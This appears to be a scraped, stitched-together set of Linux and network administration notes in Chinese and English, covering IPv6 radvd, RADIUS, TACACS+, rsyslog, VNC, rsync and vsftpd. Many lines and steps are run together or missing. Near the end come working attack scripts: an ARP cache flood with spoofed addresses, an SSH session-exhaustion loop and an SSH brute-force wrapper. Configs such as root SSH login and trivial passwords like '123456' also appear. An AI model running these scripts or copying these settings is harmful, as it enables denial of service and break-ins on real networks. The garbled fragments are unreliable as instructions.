# systemctl set-default graphical && reboot


To switch graphical to multi-user mode (runlevel 5 to runlevel 3)
# systemctl set-default multi-user && reboot

lawchiu@localhost:~$ sudo snap login xxx.xxx@gmail.comPassword of "xxx.xxx@gmail.com":
Login successful
lawchiu@localhost:~$ snap logout
lawchiu@localhost:~$ snap refreshList installed snap:
All snaps up to date
a Sort processes automatically b Bytes or bits for network I/O
c Sort processes by CPU% l Show/hide alert logs
m Sort processes by MEM% w Delete warning alerts
p Sort processes by name x Delete warning and critical alerts
i Sort processes by I/O rate 1 Global CPU or per-CPU stats
t Sort processes by CPU times h Show/hide this help screen
d Show/hide disk I/O stats T View network I/O as combination
f Show/hide filesystem stats u View cumulative network I/O
n Show/hide network stats F Show filesystem free space
s Show/hide sensors stats g Generate graphs for current history
2 Show/hide left sidebar r Reset history
z Enable/disable processes stats q Quit (Esc and Ctrl-C also work)
e Enable/disable top extended stats
/ Enable/disable short processes name
D Enable/disable Docker stats
sudo passwd root3. To modify the configuration file of sshd_config (Marked PermitRootLogin prohibit-password, and added PermitRootLogin yes )
sudo vi /etc/ssh/sshd_config
# Authentication:
LoginGraceTime 120
#PermitRootLogin prohibit-password
PermitRootLogin yes
StrictModes yes
sudo systemctl restart ssh
Added 2nd public key via manually into the ~/.ssh/authorized_keys
VBoxManage.exe convertdd ubuntu-core-16-amd64.img ubuntu-core-16-amd64.vdi4. Import vdi file above to the VirtualBox without issue.

1. 撰寫python, 存檔為*.py
2. 撰寫setup.py for metadata (*.py跟setup.py需在同一個目錄下)
3. 執行python setup.py sdist 以建構發行套件檔案4. 執行python setup.py install 來安裝發行套件到本地端
fsck -p /dev/sdX
log_file -noappend ./$0.log2. 與遠端主機斷線:
.......
.......
.......
log_file
expect eof3. For loop於Expect Script的用法:
expect -c "
for {set i 1} {\$i <= 10} {incr i 1} {
}4. If於Expect Script的用法:
"
expect -c "
if { \$i == 1 } {
}5. 於Expect Script跳脫"符號的方法:
"
expect -c
send \"test \\\"test\\ test\\ test\\\"\r\"
"
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.default.forwarding = 1
net.ipv6.conf.br0.forwarding = 1
net.ipv6.conf.br1.forwarding = 1
net.ipv6.conf.br2.forwarding = 1
Step2.1 Open then edit /etc/radvd.conf:interface br0
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
prefix 3001:688::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
interface br1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
prefix 3001:588::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
interface br2
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
Step2.2: Launch radvd immediately as well as start running it when system boots up:[root@rhel7 network-scripts]# systemctl start radvd
[root@rhel7 network-scripts]# systemctl enable radvd
[root@rhel7 network-scripts]# systemctl status radvd
radvd.service - Router advertisement daemon for IPv6
Loaded: loaded (/usr/lib/systemd/system/radvd.service; enabled)
Active: active (running) since 五 2015-02-06 16:22:51 CST; 1h 41min ago
Main PID: 9884 (radvd)
CGroup: /system.slice/radvd.service
├─9882 /usr/sbin/radvd -u radvd
└─9884 /usr/sbin/radvd -u radvd
2月 06 16:49:43 rhel7 radvd[9884]: resuming normal operation
2月 06 16:49:44 rhel7 radvd[9884]: attempting to reread config file
2月 06 16:49:44 rhel7 radvd[9884]: resuming normal operation
2月 06 16:49:51 rhel7 radvd[9884]: attempting to reread config file
2月 06 16:49:51 rhel7 radvd[9884]: resuming normal operation
2月 06 16:49:53 rhel7 radvd[9884]: attempting to reread config file
2月 06 16:49:53 rhel7 radvd[9884]: resuming normal operation
2月 06 16:49:53 rhel7 radvd[9884]: attempting to reread config file
2月 06 16:49:53 rhel7 radvd[9884]: resuming normal operation
2月 06 18:03:32 rhel7 systemd[1]: Started Router advertisement daemon for IPv6.
HostA(300:288::253):
eth1 Link encap:Ethernet HWaddr 08:00:27:45:E9:40
inet addr:10.10.2.253 Bcast:10.10.2.255 Mask:255.255.255.0
inet6 addr: 3001:288::253/64 Scope:Global
inet6 addr: fe80::a00:27ff:fe45:e940/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6439011 errors:0 dropped:0 overruns:0 frame:0
TX packets:6261045 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2632403693 (2.4 GiB) TX bytes:244180721 (232.8 MiB)
[root@server1 ~]# ip -6 route show
3001:588::/64 via 3001:288::1 dev eth1 metric 1024 expires 4293343sec mtu 1500 advmss 1440 hoplimit 4294967295
3001:688::/64 via 3001:288::1 dev eth1 metric 1024 expires 4293666sec mtu 1500 advmss 1440 hoplimit 4294967295
[root@server1 ~]# ping6 3001:588::100 -c 3
PING 3001:588::100(3001:588::100) 56 data bytes
64 bytes from 3001:588::100: icmp_seq=0 ttl=63 time=31.9 ms
64 bytes from 3001:588::100: icmp_seq=1 ttl=63 time=24.3 ms
64 bytes from 3001:588::100: icmp_seq=2 ttl=63 time=5.61 ms
--- 3001:588::100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2015ms
rtt min/avg/max/mdev = 5.615/20.607/31.904/11.046 ms, pipe 2
HostB(3001:588::100):
Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : example.com IPv6 Address. . . . . . . . . . . : 3001:588::100
IPv6 Address. . . . . . . . . . . : 3001:588::2677:3ff:fe77:f29c
Link-local IPv6 Address . . . . . : fe80::2677:3ff:fe77:f29c%31
IPv4 Address. . . . . . . . . . . : 10.10.5.188
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::6a05:caff:fe22:2b8b%31
3001:588::1
10.10.5.254
D:\Tools\wbox-3>ping -6 3001:288::253
Pinging 3001:288::253 with 32 bytes of data:
Reply from 3001:288::253: time=29ms
Reply from 3001:288::253: time=64ms
Reply from 3001:288::253: time=158ms
Reply from 3001:288::253: time=24ms
Ping statistics for 3001:288::253:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 24ms, Maximum = 158ms, Average = 68ms
:fromhost-ip,isequal,"192.168.1.1" /var/log/remote.log
:fromhost-ip,isequal,"192.168.1.2" /var/log/remote.log
:fromhost-ip,isequal,"192.168.1.3" /var/log/remote.log
........
*.info;mail.none;authpriv.none;cron.none /var/log/messages
& ~
:fromhost-ip,isequal,"192.168.1.1" /var/log/remote.log
:fromhost-ip,isequal,"192.168.1.2" /var/log/remote.log& ~
:fromhost-ip,isequal,"192.168.1.3" /var/log/remote.log& ~
........
*.info;mail.none;authpriv.none;cron.none /var/log/messages
#yum install tigervnc*
以某個user來執行vncserver之後,在user家目錄中有這個/.vnc/xstartup檔案就可以了,當然passwd也是會一起產生的。以上與CentOS6/RHEL6無異。
開啟/lib/systemd/system/vncserver@.service用root啟動vncserver不是一個好習慣.....
修改[service]這個field如下:
[Service]
Type=forking
# Clean any existing files in /tmp/.X11-unix environment
ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill > /dev/null 2>&1 || :'
ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver"
ExecStop=/bin/sh -c '/usr/bin/vncserver -kill > /dev/null 2>&1 || :'
修改unit(service)的configuration後,必需讓systemd知道,所以我要執行 systemctl daemon-reload昭告天下。
systemctl start vncserver@multi-user6. 開機啟動vncserver:
systemctl enable vncserver@multi-user
$CFG['Sources']['Source2']['LogLineType'] = 'syslog23';
Step1. Install XQartz(X11) for OSX 10.6 or later (http://xquartz.macosforge.org/landing/)
Step2. Logout and login OSX by Admin account.
Step3. Install Wireshark for OSX 10.6 and later Intel 64 bit (http://www.wireshark.org/download.html)
Step4. Launch Wireshark and chose XQartz as X11 environment.
Step5. Turn on monitor mode -> http://ask.wireshark.org/questions/26270/how-to-turn-on-monitor-mode-on-mac-osx-1075
Step1. sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
Step2. sudo airport -z #disassociates you card from the current network
Step3. sudo airport --channel= ["channel you want to switch to"] #sets the channel the card monitors on
先確定mibs的目錄:
[root@localhost ~]# net-snmp-config --default-mibdirs
/root/.snmp/mibs:/usr/share/snmp/mibs
可以看到我的mibs可以放在/root/.snmp/mibs or /usr/share/snmp/mibs,在此我選擇放在/usr/share/snmp/mibs。
開啟並編輯[root@localhost mibs]# vi /etc/snmp/snmptrapd.conf 如下:
#SNMP v2 with community as public
disableAuthorization no
authCommunity log,execute,net public
# SNMP v3 with user as admin and passphase as aaaaaaaa
createUser admin MD5 aaaaaaaa DES aaaaaaaa
authUser log,execute,net admin
[root@localhost mibs]# snmptrapd -m all -c /etc/snmp/snmptrapd.conf -Lo -f
NET-SNMP version 5.3.2.2
-m all -> 讀入所有的mibs files
-c -> 預設的configuration file
-Lo -> 輸出到基本output
-f -> do not fork from the shell
這邊你會看到snmp trap event會輸出至螢幕,方便debug用。
[root@localhost mibs]# /etc/init.d/snmptrapd start
正在啟動 snmptrapd: [ 確定 ]
而這裡你將會看到snmp trap event會被寫入到/var/log/messages。
Open and edit /etc/raddb/radiusd.conf to set:
log_auth = yes
auth_log
detail auth_log {
detailfile = ${radacctdir}/%{Client-IP-Address}/auth-detail-%Y%m%d
#
# This MUST be 0600, otherwise anyone can read
# the users passwords!
detailperm = 0600
}
Open and edit /etc/raddb/radiusd.conf to set:
auth = yes
Open and edit /etc/raddb/sites-available/default to set:
auth_log
# iptables -t nat -A PREROUTING -i eth0 -p gre -j DNAT --to-destination 10.10.2.186
Where 10.10.2.186 is GRE GW2's IP.
# modprobe ip_gre
# ip link add link gre0 name tunnel0 type gretap remote 192.168.0.1 local 10.10.2.186
# ip link set tunnel0 up
# brctl addbr br0
# ip link set br0 up
# ip link set eth2 up
# brctl addif br0 tunnel0
# brctl addif br0 eth2
# export http_proxy="http://10.10.10.254:8080"
# export https_proxy="https://10.10.10.254:8080"
# unset http_proxy
# unset https_proxy
wget ftp://ftp.muug.mb.ca/mirror/redhat/contrib/libc6/i386/tac_plus-4.0.3-2.i386.rpm
rpm -ivh tac_plus-4.0.3-2.i386.rpm
vi /etc/tacacs/tac_plus.cfg
# Created by Devrim SERAL(devrim@tef.gazi.edu.tr)
# It's very simple configuration file
# Please read user_guide and tacacs+ FAQ to more information to do more
# complex tacacs+ configuration files.
#
# Put your NAS key below
key = "testing123"
# Use /etc/passwd.loc file to do authentication
# it's must be in passwd file format. So you must mix shadow-passwd files to do it
#default authentication = file /etc/passwd.loc
user = lawrence { login = cleartext 123456}
# Where is the accounting records to go
accounting file = /var/log/tacacs.log
# Permit all authorization request
default authorization = permit
# End config file
# The user lawrence with password 123456 will be created.
[root@server1 tmp]# /etc/init.d/tacacs start
Starting tacacs+:
[root@server1 tmp]# netstat -tupln | grep 49
tcp 0 0 0.0.0.0:49 0.0.0.0:* LISTEN 9027/tac_plus
[root@server1 raddb]# netstat -tupln | grep 1812
udp 0 0 0.0.0.0:1812 0.0.0.0:* 7300/radiusd
[root@server1 raddb]# netstat -tupln | grep 1813
udp 0 0 0.0.0.0:1813 0.0.0.0:* 7300/radiusd
[root@server1 raddb]# netstat -tupln | grep 1814
[root@server1 raddb]# netstat -tupln | grep 1815
listen {
ipaddr = *
port=1814
type=auth
}
listen {
ipaddr = *
port=1815
type=acct
}
[root@server1 raddb]# /etc/init.d/radiusd restart
正在停止 RADIUS 伺服器: [ 確定 ]
正在啟動 RADIUS 伺服器: Thu Feb 7 13:31:06 2013 : Info: Starting - reading configuration files ...
[ 確定 ]
[root@server1 raddb]# netstat -tupln | grep 1812
udp 0 0 0.0.0.0:1812 0.0.0.0:* 7347/radiusd
[root@server1 raddb]# netstat -tupln | grep 1813
udp 0 0 0.0.0.0:1813 0.0.0.0:* 7347/radiusd
[root@server1 raddb]# netstat -tupln | grep 1814
udp 0 0 0.0.0.0:1814 0.0.0.0:* 7347/radiusd
[root@server1 raddb]# netstat -tupln | grep 1815
udp 0 0 0.0.0.0:1815 0.0.0.0:* 7347/radiusd
networksetup -setv6off Ethernet
networksetup -setv6off Wi-Fi
mDNS -B(Browse for services instances)
MBP:~ lawrence$ mDNS -B _sftp-ssh._tcp.
Browsing for _sftp-ssh._tcp.
Talking to DNS SD Daemon at Mach port 5891
Timestamp A/R Flags Domain Service Type Instance Name
12:18:11.060 Add 0 local. _sftp-ssh._tcp. MBP
mDNS -L(Look up a service instance)
MBP:~ lawrence$ mDNS -L "MBP" _sftp-ssh._tcp. .
Lookup MBP._sftp-ssh._tcp.local
Talking to DNS SD Daemon at Mach port 5891
12:18:54.882 Service can be reached at 10.10.2.7 :22
12:18:54.882 FE80:0000:0000:0000:3E07:54FF:FE35:5093%en0:22
12:18:54.883 3001:0288:0000:0000:3E07:54FF:FE35:5093%en0:22
1. dhcpd的lease table是放在/var/lib/dhcpd/dhcpd.leases
lease 10.10.6.125 {
starts 2 2012/10/16 22:12:53;
ends 3 2012/10/17 22:12:53;
tstp 3 2012/10/17 22:12:53;
binding state active;
next binding state free;
hardware ethernet b8:ac:6f:21:53:ec;
uid "\001\270\254o!S\354";
client-hostname "D129252S";
}
10.10.6這個range被fake DHCP client用完了,所以我要把它們手動通通砍掉。
sed -i "/10.10.6/,/}/d" /var/lib/dhcpd/dhcpd.leases
# /etc/init.d/dhcpd restart
# yum install httpd rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple
# rpm -ivh http://www.monitorix.org/monitorix-n.n.n-1.noarch.rpm
(where n.n.n is the latest version,2.6.0 for example)
Configure file is in /etc/monitorix.conf
Apache configure file is in /etc/httpd/conf.d/monitorix.conf, and you need to configure it allow connect to Monitorix from any where.
# /etc/init.d/monitorix start && chkconfig monitorix on
# /etc/init.d/httpd restart && chkconfig httpd on
MBP:~ lawrence$ sync && purge
Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
and PEAP. The following steps outline how to create a client
certificate that is signed by the server certificate created above.
You will have to have the password for the server certificate in the
"input_password" and "output_password" fields of the server.cnf file.
$ vi client.cnf
Edit the "input_password" and "output_password" fields to be the
password for the client certificate. You will have to give these
passwords to the end user who will be using the certificates.
Edit the [client] section to have the correct values for your
country, state, etc. Be sure that the commonName field here is
the User-Name that will be used for logins!
$ make client.pem
The users certificate will be in "emailAddress.pem",
i.e. "user@example.com.pem".
To create another client certificate, just repeat the steps for
making a client certificate, being sure to enter a different login
name for "commonName", and a different password.
- 安全性: WPA&WPA2 EnterpriseNote: ca.pem and client.p12是產生ROOTCA與Client Certificate時所一併產生的,所在的目錄是/etc/raddb/certs/
- 驗證: TLS
- 識別: commonName
- CA: ca.pem
- 私密金鑰: client.p12
- 私密金鑰密碼: "input_password" and "output_password"
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.all.autoconf = 0
# vi /etc/sysconfig/network
......
NETWORKING_IPV6=yes
......
# yum install radvd
# vi /etc/radvd.conf
interface eth1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
AdvOtherConfigFlag on;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
# /etc/init.d/radvd start; chkconfig radvd on
# cd /etc/raddb/certs
# rm -f ca.der ca.key ca.pem
# rm -f server.crt server.csr server.key server.p12 server.pem
# vi ca.cnf
Edit the "input_password" and "output_password" fields to be the
password for the CA certificate.
Edit the [certificate_authority] section to have the correct values
for your country, state, etc.
# make ca.pem
This step creates the CA certificate.
# make ca.der
This step creates the DER format of the self-signed certificate,
which is can be imported into Windows.
# vi server.cnf
Edit the "input_password" and "output_password" fields to be the
password for the server certificate.
Edit the [server] section to have the correct values for your
country, state, etc. Be sure that the commonName field here is
different from the commonName for the CA certificate.
# make server.pem
This step creates the server certificate.
If you have an existing certificate authority, and wish to create a
certificate signing request for the server certificate, edit
server.cnf as above, and type the following command.
# make server.csr
You will have to ensure that the certificate contains the XP
extensions needed by Microsoft clients.
client 10.10.0.0/16 {
secret = testing123
shortname = private-network-2
}
default_eap_type = ttls
....
ttls {
default_eap_type = mschapv2
copy_request_to_tunnel = yes
use_tunneled_reply = yes
#virtual_server = "inner-tunnel"
}
....
lawrence Cleartext-Password := "testing"
use_mppe = no
# /etc/init.d/radiusd restart
# arping -U 10.10.10.100 -I eth0
-U : Unsolicited ARP mode, update your neighbours
-I device : which ethernet device to use (eth0)
# arping -A -U 10.10.10.100 -I eth0
-A : ARP answer mode, update your neighbours
[root@localhost ruckus]# cd /tmp/[root@localhost tmp]# dd if=/dev/zero of=vs_file bs=1M count=512512+0 records in512+0 records out536870912 bytes (537 MB) copied,0.767225 秒,700 MB/s
[root@localhost tmp]# mke2fs -j vs_filemke2fs 1.39 (29-May-2006)vs_file is not a block special device.Proceed anyway? (y,n) yFilesystem label=OS type: LinuxBlock size=1024 (log=0)Fragment size=1024 (log=0)131072 inodes, 524288 blocks26214 blocks (5.00%) reserved for the super userFirst data block=1Maximum filesystem blocks=6763315264 block groups8192 blocks per group, 8192 fragments per group2048 inodes per groupSuperblock backups stored on blocks:8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409Writing inode tables: doneCreating journal (16384 blocks): doneWriting superblocks and filesystem accounting information: doneThis filesystem will be automatically checked every 21 mounts or180 days, whichever comes first. Use tune2fs -c or -i to override.
[root@localhost tmp]# mount -o loop /tmp/vs_file /mnt/vf/
[root@localhost tmp]# mount | grep vs_file/tmp/vs_file on /mnt/vf type ext3 (rw,loop=/dev/loop0)[root@localhost tmp]# cd /mnt/vf/[root@localhost vf]# lslost+found[root@localhost vf]# touch test[root@localhost vf]# lslost+found test
Click Start->regedit->HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}
GUID這邊指的是對應到的NIC,可用wireshark來幫助查詢。
DhcpConnForceBroadcastFlag (0 or 1)
0 indicate unicast
1 indicate broadcast
#!/bin/bashfunction arp_cache_attack{while true;dofor((i=1;i<=100;i++))domac=$(($RANDOM%10))number1=$(($RANDOM%254))number2=$(($RANDOM%254))number3=$(($RANDOM%254))number4=$(($RANDOM%254))arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &donesleep 1kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/nullsync && echo "3" > /proc/sys/vm/drop_cachesecho "re-generate"done}arp_cache_attack
#!/bin/bash# Bind IPread -p "Which interface? [eth0]: " INTERFACEread -p "Net address: [10.10.10] " NETIPread -p "Min IP address: [1] " MiIPread -p "Max IP address:[254] " MaIPfor((i="$MiIP";i<="$MaIP";i++))doip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1doneecho ""# Start to testread -p "Target: [10.10.10.10] " TARGETi=$MiIPnum=1echo ""echo "Preparing for test target: $TARGET"sleep 5while true;dossh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &sleep 1netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"if [ `echo $?` -ne 0 ]; thennum=$(($num-1))echo "The maximum SSH session of $TARGET is $num"kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null breakelseecho "SSH session number $num is established!"i=$(($i+1))num=$(($num+1))fidoneexit
1 #!/bin/bash23 read -p "Please enter your target host: " HOST4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."56 echo -n "[run/exit]? "7 while read LINE;8 do9 if [ $LINE = "run" ]; then10 clear11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &12 sleep 1013 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "14 continue15 elif [ $LINE = "exit" ]; then16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null17 break18 fi19 done
[root@server1 ~]# rpm -qa | grep -i rsyncrsync-3.0.6-5.el6_0.1.i686
service rsync{disable = noflags = IPv6socket_type = streamwait = nouser = rootserver = /usr/bin/rsyncserver_args = --daemonlog_on_failure += USERID}
# any name you like[test]# destination directorypath = /home/backup# Hosts you allow to copy (specify source Host)hosts allow = 10.10.2.126hosts deny = *list = trueuid = rootgid = rootread only = false
[root@server1 ~]# /etc/init.d/xinetd restart正在停止 xinetd: [ 確定 ]正在啟動 xinetd: [ 確定 ]
[root@server1 ~]# rpm -qa | grep rsyncrsync-3.0.6-4.el5_7.1
[root@server1 ~]# rsync -avz --delete /var/www/html/ 10.10.2.128::testsending incremental file list./proxy.pacproxy.pac.ipv4proxy.pac.ipv6wpad.dat -> proxy.pacssl/ssl/index.hrmlsent 3089 bytes received 174 bytes 6526.00 bytes/sectotal size is 5039 speedup is 1.54
Proactive Key Caching (PKC) or Opportunistic Key Caching (OKC) - In the 802.11i specification there is a suggestion towards WPA2 Pairwise Master Key ID (PMKID) caching. PKC/OKC is one interpretation of this suggestion. The station remembers the PMKID from its initial BSSID with which it associated and authenticated. When the client roams to another BSSID it uses the original PMKID and hashes it with the new BSSID and comes up with new keys. It needs a centralised controller to distribute the PMKID out to the AP's to make it all work.
rm -rf ~/Library/Caches/Google/Chrome/Default
ln -s /Volumes/Chrome\ Cache/ ~/Library/Caches/Google/Chrome/Default/Volumes/Chrome\ Cache/就是我透過TmpDisk產生的快取。
1. 在/etc folder透過find指令尋找全部的檔案。2. 透過xargs將pipe前的stdout轉變成餵給grep的參數。3. 透過cut指令做簡單的filter。4. 將`find /etc/ | xargs grep "vsftpd.pem" | cut -d: -f1`看成一個指令的輸出,餵給vi。
[root@centos6 ~]# cat /etc/group | grep rootroot:x:0:rootbin:x:1:root,bin,daemondaemon:x:2:root,bin,daemonsys:x:3:root,bin,admadm:x:4:root,adm,daemondisk:x:6:rootwheel:x:10:root
[root@centos6 ~]# groups rootroot : root bin daemon sys adm disk wheel[root@centos6 ~]#
[root@centos6 ~]# ldd `which vsftpd` | grep ssllibssl.so.10 => /usr/lib/libssl.so.10 (0x00af1000) -> 看到libssl則代表有支援。
[root@centos6 ~]# cd /etc/pki/tls/certs/[root@centos6 certs]# make vsftpd.pem[root@centos6 certs]# cp -a vsftpd.pem /etc/vsftpd/
anonymous_enable=YESlocal_enable=YESwrite_enable=YESlocal_umask=022dirmessage_enable=YESxferlog_enable=YESconnect_from_port_20=YESxferlog_file=/var/log/vsftpd.logxferlog_std_format=YESchroot_local_user=YESchroot_list_enable=YESchroot_list_file=/etc/vsftpd/chroot_list ->注意!必需要手動產生一個chroot_list的空檔listen=YESpam_service_name=vsftpduserlist_enable=YEStcp_wrappers=YESssl_enable=YESallow_anon_ssl=NOforce_local_data_ssl=YESforce_local_logins_ssl=YESssl_tlsv1=YESssl_sslv2=NOssl_sslv3=NOrsa_cert_file=/etc/vsftpd/vsftpd.pem
[root@centos6 vsftpd]# /etc/init.d/vsftpd restart正在關閉 vsftpd: [ 確定 ]正在啟動 vsftpd 中的 vsftpd: [ 確定 ][root@centos6 vsftpd]#
5.1 設定連線為FTP-SSL
5.2 輸入FTP Server的IP address,系統會警告一個不被信任的憑證,當然此憑證是我剛剛產生的,所以要信任它囉: